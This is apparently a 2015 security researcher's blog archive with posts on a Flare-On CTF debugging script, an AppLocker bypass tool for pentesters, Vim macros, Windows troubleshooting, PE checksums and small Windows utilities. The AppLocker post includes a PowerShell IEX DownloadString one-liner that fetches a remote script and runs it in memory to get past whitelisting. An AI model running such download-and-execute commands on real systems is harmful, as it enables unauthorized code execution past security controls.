Thursday, August 27, 2015

Flare-On 2015 #2 Write-Up, Part 1

I've been away from CTFs for a while, but at the urging of some colleagues, I took a brief look at this year's Flare-On challenge. I won't post a complete write-up today because I wouldn't want to give away the flag itself before the Flare-On challenge ends on September 8th. But maybe this article will give you ideas if you are still working on any of the challenges.

Because I knew I wouldn't be able to stay with it, I focused on using my time to learn how to do new things. The first challenge was easy and educational because FLARE produced a relevant write-up in 2014 that includes an IDA script to decode XOR-encoded data, a technique which has also been documented in Practical Malware Analysis. The second challenge, however, featured some unusual instructions in its decode-and-check loop:



The sahf, adc, and popf mnemonics were unfamiliar to me, however this did not look like a case of disassembly desynchronization. I started by reading the Intel manuals...


...but my short attention span got the better of me. So, I began using WinDbg to see why the sahf and adc instructions were used, what effect they would have on the program's control flow, and whether I was wrong about the disassembly desync. After a single iteration of this, I decided that my laziness and short attention span would require me to create a repeatable substrate for an iterative process of observation and experimentation: I needed automate the instrumentation.

There are several options for this. The painstaking way would be to pick up the code I wrote based on Microsoft's debugger documentation and a CodeProject article from 2011. Other alternatives included experimenting with DynamoRIO or Intel's PIN (which I will get into another time). And then there's Visi's vtrace. This latter tool is Python-based, so it was pretty appealing. I decided to give it a shot.

First, I downloaded the vtrace/vdb distribution (I might have grabbed it from here). Then I took a look at Visi's article to get started. I also found an interesting presentation and a PlaidCTF write-up that provided me with some additional ideas.

Reversing in IDA gave me some offsets to start with:

# Offsets for d88dafdaefe27e7083ef16d241187d31 *very_success.exe:
# cs:0x4010ae <-- sahf instruction: single iteration of password character scan
# cs:0x401046 <-- call kernel32!ReadFile, len at ebp-4
# cs:0x40104c <-- return from kernel32!ReadFile, len at ebp-4
# ds:0x402159 <-- gPasswordFromCONIN$[]

With this, I wrote a vtrace script that used the MyBreakpoint class in the presentation above to manipulate program execution and mark how many times the sahf instruction was hit. Specifically, I wrote a function to skip the ReadFile() Win32 API call and instead feed a password of my choosing to the program:

34 def skipread(trace):
35     print "Broken at eip = " + hex(trace.getProgramCounter()) + " (skipread)"
36     trace.setProgramCounter(0x400000 + 0x104c)
37     print "Trying " + ''.join(pw)
38     tmp = ''.join(pw)
39     # buf = pw.encode('utf-8')
40     trace.writeMemory(0x400000 + 0x2159, tmp)
41     print "ebp: " + hex(trace.parseExpression("rbp"))
42     print "ebp-4: " + hex(trace.parseExpression("rbp-4"))
43     print "[ebp-4]: " + hex(trace.parseExpression("poi(rbp-4) & 0xffffffff"))
44     trace.writeMemory(trace.parseExpression("rbp-4 & 0xffffffff"), struct.pack("@i", 37))

I executed this with a few different passwords. Of particular interest were the results with all "a" characters and all "b" characters:



I noticed something useful here: the breakpoint I had set on the sahf instruction to mark the number of loop iterations was hit once more when processing the "a" password than when processing the "b" password. Looking back on my notes, I see that I was enthusiastic about this:
Holy **** yes, saw password processing breakpoint hit twice for 'a'x37 and only once for 'b'*37
The reason for my excitement was that this probably meant the password could be brute forced. So, that is exactly what I did. Sure, maybe I skipped the whole part where you analyze and understand the code. But there's more to life than intimately understanding every Intel instruction I've ever encountered. In my next article, I'll post the scripts and talk about the results.

Friday, June 26, 2015

AppLocker, SchmappLocker

In this article, I introduce a PowerShell cmdlet called Invoke-SchmappLocker to bypass AppLocker.

One of the things organizations can do to make it more difficult to run malware on their systems is to enforce application whitelisting. High-end editions (Enterprise and Ultimate) of Microsoft's modern operating systems provide AppLocker for this purpose.

If you've got Enterprise or Ultimate, you should create and enable its default policies along with User Account Control (UAC), and also consider testing and applying the optional KB2532445 hotfix. Dovetail these two mitigations like so, and you will raise the bar to entry for post-exploitation: UAC will generally notify you when software attempts to write to directories like Program Files or system32, and AppLocker will interrupt malware that runs out of AppData or other such folders.


The reason it is important to apply the KB2532445 hotfix I mentioned above is that the Windows APIs permit applications to load software in spite of AppLocker execution policies if they explicitly ask to do so. Why would this be? Because Windows assumes that software already running on your system should be trusted. If you don't agree with this assumption, Microsoft will happily provide you with a tinfoil hat (in the form of the KB2532445 hotfix), but you have to ask for it - it is not a critical or recommended hotfix.

I've written a marginal shellcode exploit for this "vulnerability" (it's actually just a feature), but with no particular delivery mechanism and no time invested in circumventing modern mitigations such as Address Space Layout Randomization (ASLR), it was kind of lame. A few authors have already written about how to use Microsoft Office macros to exploit this. But recently, a colleague gave me cause to consider another practical delivery mechanism for this exploit: PowerShell.

So, for those pentesters who need to drive the point home that deploying AppLocker without KB2532445 is like eating Oreos without milk, I present: Invoke-SchmappLocker.ps1.

The basis of this "exploit" is using the PowerShell Add-Type cmdlet to compile a .NET Framework DLL in memory that uses interop services to call the CreateRestrictedToken API providing the SANDBOX_INERT flag, and then calling the CreateProcessAsUser API with that token in order to walk all over AppLocker. I learned this was possible by searching for "PowerShell PInvoke" and reading this TechNet article.

So, let's try it. You can check if your target is going to allow you to do this by running:

wmic.exe qfe list | findstr.exe 2532445

If there is no output, you're good to go.

I like the carnal0wnage method of using powershell to download and execute the cmdlet, so I created a tinyurl for my script in order to conveniently emulate that:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://tinyurl.com/SchmappLocker'); Invoke-SchmappLocker .\hello.exe" 

Below is a command prompt in which I attempt to run hello.exe twice. The first time, it is blocked by AppLocker, and the second time it executes without issue because I use Invoke-SchmappLocker.


PowerShell prints the return value from Invoke-SchmappLocker, which is zero if it works. I've included debug code in the .NET class, so if CreateProcessAsUser fails with, say, error 3, then you can figure out what the heck is going on. If you didn't know, you can look up the meaning of Win32 API error codes 1-128 (and possibly others) with NET.EXE HELPMSG. To wit:

C:\Users\bamf>net.exe helpmsg 3

The system cannot find the path specified.


C:\Users\bamf>

If you get a "cannot find" error, you probably need to provide the full path to your executable. When invoking this directly within PowerShell, you may even need to specify the full path if the binary is in the same directory as you are. I don't know why this is. Invoke-SchmappLocker also doesn't permit you to provide arguments, but if you hack on the .NET code in it, you can get around that.

In case you missed the link above, Invoke-SchmappLocker.ps1 can be had here:

https://github.com/strictlymike/Invoke-SchmappLocker/

Happy hackin' ;-)

Sunday, June 21, 2015

Let robots do your job

For the article Vi Vies with Vim and Vigor, I wanted to make a table based on the notes I had jotted down in a text file.

Vim's macro functionality did this for me. First, I delimited each column of the table with a tab. Then, I just recorded a macro and executed it on each line:

qd         (record macro to register "d")
I          (insert at beginning of line)
<tr><td>   (HTML markup for table row / table data)
esc        (return to edit mode)
f<tab>     (find the next tab)
cl         (change the character after the cursor)
</td><td>  (end one td element and start another)
esc        (return to edit mode)
A          (append at end of line)
</td></tr> (end td and tr elements)
esc        (return to edit mode)
j          (down one line)
q          (terminate macro recording)

You could then optionally edit the macro to invoke itself recursively:

qD         (append macro to register "d")
@d         (invoke macro "d")
q          (terminate macro recording)

And finally, set the robot to work on the assembly line by invoking this recursive macro:

@d

In Vim, this makes quick work of a bunch of tedious HTML edits:


Robots for the win!

On a side-note, I captured this GIF image using the screen capture utility I talked about here. Oddly, I see that instead of being surrounded by window trim, it is surrounded by the contents of the window behind it. A peculiarity of the Windows APIs? Maybe an inquiry for another post. Until then, happy hackin'.

Sunday, June 14, 2015

Not a Fan

I use my sleep timer hypertext application with Windows Media Player to sing myself to sleep at night and softly wake me up in the morning.  It works pretty well.  But this morning at 5:07 AM, I woke up to my CPU fan spinning loudly.  On the nightstand.  Next to my ear.  I waited a minute hoping it would pass, but then the fan noise intensified as things really cranked into gear.  When I finally opened the lid and started poking around, the fans turned off and CPU utilization returned to normal before I could launch taskman.exe and see what was going on.

Being a judiciously paranoid android, this meant I had to stay up until six in the morning troubleshooting, eyes half-open, tweaking and testing to discover what was using my idle cycles so aggressively.

Finding the CPU Hog

The difficult part of finding the culprit was twofold: the offending process only seemed to run when the computer was idle (which takes about five minutes for Windows to decide is the case), and touching the keyboard or mouse (such as to sort processes by CPU % utilization) caused my quarry to go back into hiding.

Naturally, Mark Russinovich had me covered.  Process Explorer has a CPU History column that can be added to the processes pane, and if you sort processes by either CPU or CPU History, you can see the offending process without manipulating or interrupting the idle state of the desktop.




So, I set it up and hopped back into bed, waiting for the fan to come back on.  And of course, it did.  After one failed attempt (I screwed up and hit a key before my eyes were really open), I was able to hop back out of bed and find that MsMpEng.exe had risen to the top of the list.  I have a list of executables on my box which I searched for MsMpEng, finding one of the paths within an amd64_windows-defender-service WinSxS directory.  The Windows Defender event logs (in eventvwr.msc) correlated with the times at which I had been woken up, confirming that this was probably the culprit:



A little bit of searching confirmed that other people have had this problem due to scheduled scanning, which encouraged me to look in the Task Scheduler MMC snap-in and find this:



Being tired, I disabled these, made a note of it in my TODO list to look into later, and hopped into bed.

Cue Fans

Then it started *$#@ing doing it again!

I hopped out of bed and looked at Process Explorer, which I had left around out of either cynicism or laziness.  The new hotness was svchost.exe -k defragsvc.  DISK DEFRAGMENTER!  I thought you died with Windows 95!  I picked through the services MMC snap-in (services.msc), eyes still half-open, and couldn't find it.  I went to the command-line to figure out WTH the service name was so I could disable it.

C:\Users\someone>sc qc defragsvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: defragsvc
  TYPE               : 10  WIN32_OWN_PROCESS
  START_TYPE         : 3   DEMAND_START
  ERROR_CONTROL      : 1   NORMAL
  BINARY_PATH_NAME   : C:\Windows\system32\svchost.exe -k defragsvc
  LOAD_ORDER_GROUP   :
  TAG                : 0
  DISPLAY_NAME       : Optimize drives
  DEPENDENCIES       : RPCSS
  SERVICE_START_NAME : localSystem

C:\Users\someone>

Yes, I could have disabled it from the command-line if I'd had the patience.  Instead I went and changed the service start-up type from manual to disabled.  I went to bed and laid with one eye open...  The screen dimmed, as it had before.  Then it went black, and still nothing.  Success!

A Workaround

This morning I re-enabled the services, and this evening I wrote a test to evaluate a fix for my sleep timer that would suppress idle tasks when it is in use (allowing me to sleep).

sh = new ActiveXObject("WScript.Shell");

function nudgeDown() {
    sh.SendKeys(String.fromCharCode(0xae));
}

while (true) {
    nudgeDown();
    WScript.Echo('Sleeping 60 seconds');
    WScript.Sleep(60 * 1000);
}

I saw that sending the volume-down character every 60 seconds stopped the screen from dimming, and I'm optimistic that it will serve my purpose.  In the long-term, maybe I could throttle Windows' CPU frequency scaling governer, but for purposes of going to sleep tonight, this will do.

Another time, maybe I'll describe how that snooze timer works.  For now, I'm snoozing.  G'nite.

Everything is broken

In some cases doing malware triage, you may find yourself following up on invalid PE checksum or other anomalies. In these cases, it is interesting to know not only what the checksum in the file is, but also what it should be.

Gotcha

Using the FOR /R command, I thought I would casually see how many files on my system have zero or incorrect checksums...

@ECHO OFF

SET LOG=%~dpn0.log
SET TO_LOG=^>^> "%LOG%" 2^>^&1

SET MFACS=%USERPROFILE%\Documents\MapFileAndCheckSum\mfacs32.exe

:Recurse
    FOR /R %SystemDrive%\ %%f IN (*.exe *.dll *.ocx *.cpl *.scr *.ax) DO (
        ECHO %%f %TO_LOG%
        "%MFACS%" "%%f" %TO_LOG%
    )
    GOTO :EOF

As it turns out, they number in the thousands. Non-zero invalid checksums were significantly less numerous than zero checksums, but still surprisingly frequent, including many signed binaries.

So, it's not a very good sign of badness all by itself. Even so, I found that PE checksums might still be able to tell you one or two interesting things about a binary and the (type of) person who built it:

  • 0x00000000 - That this is not a "release" version of the binary, or that the developer uses the command line or some other non-Visual Studio build system, and has omitted the /RELEASE linker flag, causing link.exe to omit the computation and insertion of the PE checksum. So perhaps your coder is a command line-oriented person?
  • Mismatch - That the binary has been modified after it was compiled, or perhaps that a toolchain other than Microsoft's was used to create the binary.

There might be other conclusions that could be drawn as well. In any case, the source code for the utility, which is really just a command-line wrapper for the Imagehlp!MapFileAndCheckSum function, can be had here:

https://github.com/strictlymike/mfacs

Thursday, May 28, 2015

Righty

I am writing this article with only one half of my keyboard. I've always wondered what I would do if I lost total function in one hand, since my job has always been done by typing. Recently, I was given an excuse to practice this scenario when I accidentally lopped off the very tip of my ring finger while chopping some chicken. The doctor advised me not to perturb my left hand by attempting to type with what fingers were left unscathed, or the resulting increase in circulation could hinder the clotting and healing process for my injured finger.

I first thought of Mirrorboard, the xkcd keyboard mapping, and how I might adapt it to Windows. A little bit of searching landed me on an antiquated article describing some options for single-handed input. But I probably won't be able to learn Dvorak before this heals. I really wanted something easier to learn, like Mirrorboard. A little bit more searching led me to find the Microsoft Keyboard Layout Creator, which I used to create a quick and dirty port of Mirrorboard for Windows that uses 'g' as a dead key for mirroring the left-hand side of the keyboard onto the right-hand side.



MSKLC allows you to create setup files that anybody can use to install the keyboard layouts you create. My layout didn't seem to take right away, which was resolved after I logged off and back on, visited the language preferences control panel, added a shortcut in the advanced options for my layout, and finally realized that my layout was present in the Windows language bar next to regular old English.

Things that are difficult with the layout I created:
  • Typing passwords requires a conscious mapping of symbols from one side of the keyboard to the other.
  • Capitalizing stuff requires some acrobatics.
  • Keyboard shortcuts require the left side of the keyboard. (Alt+F is actually Left Alt+F. Didn't know that.)
  • Using Vim, since its efficiencies mostly come from keyboard shortcuts, is treacherous.
  • The layout doesn't play well with the Windows 8 Immersive Experience search box.
  • MSKLC doesn't apparently let me do anything with function keys, which I could really use to give myself more flexibility.
Due to all these issues, in the short term I would be more likely to break doctor's orders, and in the long term I would be more likely to learn Dvorak-R (included with Windows) if I had to continue typing with only my right hand. So, this doesn't solve the problem, though it does create a right-handed Windows counterpart to the left-handed Linux solution known as Mirrorboard. And, it certainly does open some interesting possibilities.

If it is of interest to anyone, I've published my keyboard layout here:


Now, ij you'll pardon anyy mislpeslings, I musy be ofj to bed. Hoodnight! :-P

Monday, May 11, 2015

Top Me Not

Why did the developers at Adobe decide that their update dialog should cover ALL the other windows until it is satisfied? It is, to say the least, a bit of a stumbling block. What if I booted my computer to do something important, like -- use it? What if I have to troubleshoot my Internet connection before the download can start? Here is what that scenario would look like:

Oh, am I in your way? What about now?

Yeah, there's enough screen real estate to just move my window aside. Or I can humbly admit defeat and drag the window to the bottom of the screen until I am done with what I am doing. But the program should bend to my will, not the other way around. For whatever reason, the Adobe developers think they know better than their users which windows should be at the very tippy-top of the Z-order. So, to me, the Adobe update dialog reads a lot like this:

Wait, was that in the EULA?

Since this annoys me so much, I set out to write a program to deal with it. I know there are programs out there, but I don't trust those programs. Plus, I wanted to know how to do this.

After a little bit of searching, I figured out that windows that behave this way do it by rudely and deliberately specifying the HWND_TOPMOST pseudo-handle as the window to be inserted after when calling the SetWindowPos() function. The same documentation that told me about that also described an HWND_NOTOPMOST pseudo-handle for undoing that effect.

I started out by aiming to develop a command-line tool using the same function I used in the screenshot program, namely user32!FindWindow(). This turned out to work nicely: FindWindow() gave me the handle of the window I wanted to target, and SetWindowPos() allowed me to knock it down a rung on the Z-order.

At this point, I almost wrote a note to StackOverflow asking how SysInternals implemented the cool "pick a process" cursor in Process Explorer, but then I decided to try to figure it out myself. I started out with a sample program I'd created based on a pretty decent Windows programming tutorial. I reasoned that the difficulties would be (1) getting mouse input when the cursor is outside of my window, and (2) making the cursor into a crosshairs.

It turned out that the second of these was easiest. I started with the wrong answer first: using SetSystemCursor() to set the normal system-wide cursor (OCR_NORMAL) to the crosshairs until I was finished. Using this along with SetCapture(), I was able to receive and process a WM_LBUTTONUP message even when the mouse was outside my window. But, I discovered that if I didn't save a copy of the regular arrow cursor using CopyCursor() as the documentation said to do, then there was no getting the arrow cursor back. A little bit of RTFM led me to a second prototype wherein you would click down on a window (like in Process Explorer) and release the left mouse button while the cursor is over whatever window you want to shatter at that particular moment. That allowed me to use the more friendly SetCursor() function to change the cursor until the mouse button was released. The result was a tool that I like to call "Top Me Not":

My new boom stick.
As it turned out, the next day, I learned that the popular and useful PEiD analysis tool sometimes likes to take the foreground, too. Well, guess what I did.

Who's on top now? Huh? HUH?

Since then, I've updated the tool to support the /? help argument and provide detailed information on its usage:

Help, at last!

Since you're likely as paranoid as I am, you probably don't want to trust some random hacker to provide you with a binary. Hence, the full source code can be found here:

https://github.com/strictlymike/TopMeNot

Next time a program tries to show you who's boss, go put it in its place.